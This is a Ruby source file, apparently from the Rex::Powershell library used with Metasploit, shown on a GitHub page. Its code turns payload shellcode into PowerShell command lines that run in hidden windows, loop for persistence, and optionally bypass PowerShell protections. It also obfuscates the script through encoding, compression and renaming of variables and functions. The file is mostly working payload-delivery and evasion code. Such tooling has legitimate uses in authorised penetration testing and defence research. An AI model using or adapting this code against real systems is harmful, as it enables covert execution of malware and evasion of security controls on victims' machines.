-
Notifications
You must be signed in to change notification settings - Fork 35
/
command.rb
389 lines (352 loc) · 13.2 KB
/
command.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
# -*- coding: binary -*-
module Rex
module Powershell
module Command
#
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Encoded script
def self.encode_script(script_in, eof=nil, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.encode_code(eof)
end
#
# Return the ASCII contents of the base64 encoded script
#
# @param script_in [String] Encoded script
#
# @return [String] Decoded script
def self.decode_script(script_in)
Rex::Powershell::Script.new(script_in).decode_code
end
#
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
# @param opts [Hash] The options for encoding
# @option opts [Bool] :strip_comments Strip comments
# @option opts [Bool] :strip_whitespace Strip whitespace
# @option opts [Bool] :sub_vars Substitute variable names
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Compressed script with decompression stub
def self.compress_script(script_in, eof=nil, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.compress_code(eof)
end
#
# Return the ASCII contents of the GZIP/Deflate compressed script
#
# @param script_in [String] Compressed script
#
# @return [String] Decompressed script
def self.decompress_script(script_in)
Rex::Powershell::Script.new(script_in).decompress_code
end
#
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def self.generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def self.generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (opts[:method] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
if opts[:wrap_double_quotes]
arg_string << "-Command \"#{opts[:command]}\""
else
arg_string << "-Command #{opts[:command]}"
end
elsif opts[:encodedcommand]
arg_string << "-EncodedCommand #{opts[:encodedcommand]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
# @param opts [Hash] The options for generate_psh_args
#
# @return [String] Wrapped powershell code
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
opts[:noprofile] ||= 'true'
opts[:windowstyle] ||= 'hidden'
# Old method needs host process to stay open
opts[:noexit] = true if (opts[:method] == 'old')
if encoded
opts[:encodedcommand] = ps_code
else
opts[:command] = ps_code.gsub("'", "''")
opts[:wrap_double_quotes] = false
end
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{generate_psh_args(opts)}'
$s.UseShellExecute=$false
$s.RedirectStandardOutput=$true
$s.WindowStyle='Hidden'
$s.CreateNoWindow=$true
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
if opts[:no_arch_detect]
return "$b='powershell.exe';#{process_start_info}"
else
archictecure_detection + process_start_info
end
end
#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
# argument in double quotes unless :encode_final_payload
# @option opts [TrueClass,FalseClass] :exec_in_place Removes the
# executable wrappers from the powershell code returning raw PSH
# for executing with an existing PSH context
#
# @return [String] Powershell command line with payload
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
when 'reflection'
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
when 'old'
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
when 'msil'
Rex::Powershell::Payload.to_win32pe_psh_msil(template_path, pay)
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
end
end
if opts[:prepend_protections_bypass]
psh_payload = Rex::Powershell::PshMethods.bypass_powershell_protections << ";#{psh_payload}"
end
compressed_payload = compress_script(psh_payload, nil, opts)
encoded_payload = encode_script(psh_payload, opts)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
if opts[:exec_in_place]
final_payload = smallest_payload
else
# Wrap in hidden runtime / architecture detection
inner_args = opts.clone
inner_args[:wrap_double_quotes] = true
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
end
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec] or opts[:exec_in_place]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
end
end
end